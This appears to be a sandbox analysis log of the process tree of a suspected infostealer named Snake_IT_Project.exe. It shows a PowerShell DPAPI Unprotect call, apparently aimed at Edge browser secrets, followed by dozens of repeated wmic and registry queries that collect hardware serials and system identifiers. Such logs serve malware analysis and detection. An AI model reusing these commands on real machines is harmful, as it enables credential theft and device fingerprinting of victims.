C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,185,100,182,72,213,148,207,79,171,76,251,48,78,113,70,234,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,57,3,227,24,171,115,2,126,199,66,180,165,98,248,252,219,132,18,73,69,143,236,35,7,44,40,230,216,74,204,227,226,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,255,12,162,209,72,208,227,115,24,25,161,135,169,104,150,34,7,88,3,126,124,88,82,3,62,163,79,139,180,10,245,66,48,0,0,0,167,186,202,149,91,63,134,229,50,154,155,156,241,221,51,103,18,81,0,115,235,205,75,45,95,249,70,20,2,172,28,131,99,97,96,161,117,20,5,205,54,178,32,27,199,52,109,54,64,0,0,0,138,43,173,160,193,79,107,46,184,10,187,58,87,204,115,82,110,232,54,158,83,85,226,67,58,27,100,31,2,136,121,247,84,201,243,182,197,120,175,158,0,83,91,220,206,173,175,70,43,117,118,36,148,123,188,125,112,71,250,242,225,201,14,113), $null, 'CurrentUser')3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2756
-
-
-
C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe"C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\TrialYelpOfStart" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1932 --field-trial-handle=1936,i,122230189968392377,6931513100507374797,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:22⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2224
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic cpu get name"2⤵PID:4148
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get name3⤵PID:3976
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2772
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:4668
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:2980
-
-
-
C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe"C:\Users\Admin\AppData\Local\Programs\Snake_IT_Project\Snake_IT_Project.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\TrialYelpOfStart" --mojo-platform-channel-handle=1288 --field-trial-handle=1936,i,122230189968392377,6931513100507374797,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:82⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:2264
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic cpu get ProcessorId"2⤵PID:4956
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2176
-
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get ProcessorId3⤵PID:1716
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3540
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3300
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get Product"2⤵PID:3636
-
C:\Windows\System32\Wbem\WMIC.exewmic baseboard get Product3⤵PID:4192
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:1324
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1860
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic baseboard get SerialNumber"2⤵PID:4952
-
C:\Windows\System32\Wbem\WMIC.exewmic baseboard get SerialNumber3⤵PID:1680
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic OS get caption"2⤵PID:1932
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:924
-
-
C:\Windows\System32\Wbem\WMIC.exewmic OS get caption3⤵PID:1772
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4384
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1664
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get TotalPhysicalMemory"2⤵PID:3740
-
C:\Windows\System32\Wbem\WMIC.exewmic computersystem get TotalPhysicalMemory3⤵PID:3964
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4052
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1516
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4748
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_videocontroller get caption,PNPDeviceID"2⤵PID:3540
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_videocontroller get caption,PNPDeviceID3⤵PID:1220
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1060
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3512
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get SerialNumber"2⤵PID:4672
-
C:\Windows\System32\Wbem\WMIC.exewmic diskdrive get SerialNumber3⤵PID:2460
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:896
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3884
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_computersystemproduct get uuid"2⤵PID:1772
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_computersystemproduct get uuid3⤵PID:2336
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4780
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4384
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3760
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1488
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:2128
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3492
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:1000
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:1872
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:388
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:704
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3468
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:1052
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1560
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:2980
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1860
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1040
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4320
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:3032
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4748
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2180
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2800
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:1540
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:4968
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4192
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1916
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4460
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:1484
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:924
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2304
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1144
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4900
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3096
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4280
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:2152
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5084
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2780
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3388
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4596
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3028
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4692
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:924
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4108
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1936
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3808
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4004
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:3096
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1876
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1728
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4960
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:2240
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3716
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:3388
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3396
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:1900
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2020
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:4124
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:4268
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:4640
-
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2340
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3884
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1436
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:5032
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:704
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2300
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2616
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:3100
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2772
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4168
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:1004
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:2948
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:392
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:4160
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵
- Detects videocard installed
PID:5084
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2800
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5032
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1200
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4596
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4536
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3716
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:2616
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1040
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2788
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2020
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:4124
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1556
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3272
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3700
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1876
-
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1860
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:2780
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1488
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2668
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:4148
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:1080
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1764
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:4064
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4108
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:3848
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:4268
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3740
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4960
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:1916
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:4688
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:3028
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3180
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:464
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:2760
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1776
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:992
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3424
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:3272
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:1956
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2196
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1912
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3512
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:2980
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:3820
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1064
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:392
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:1588
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:4380
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:3044
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1052
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:5020
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:4340
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:3480
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1556
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:2800
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2756
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:5036
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:948
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:1484
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4268
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:1688
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1028
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1052
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:3760
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:4192
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:1516
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:3128
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3096
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:4024
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:5016
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1836
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:2144
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:4380
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:2988
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:2780
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:1860
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:2416
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:984
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:2868
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:1040
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:1480
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:5036
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"2⤵PID:4176
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName3⤵PID:3888
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic bios get smbiosbiosversion"2⤵PID:2092
-
C:\Windows\System32\Wbem\WMIC.exewmic bios get smbiosbiosversion3⤵PID:3716
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic MemoryChip get /format:list | find /i "Speed""2⤵PID:3504
-
C:\Windows\System32\Wbem\WMIC.exewmic MemoryChip get /format:list3⤵PID:4960
-
-
C:\Windows\system32\find.exefind /i "Speed"3⤵PID:2996
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"2⤵PID:3300
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name3⤵PID:1836
-
-
-
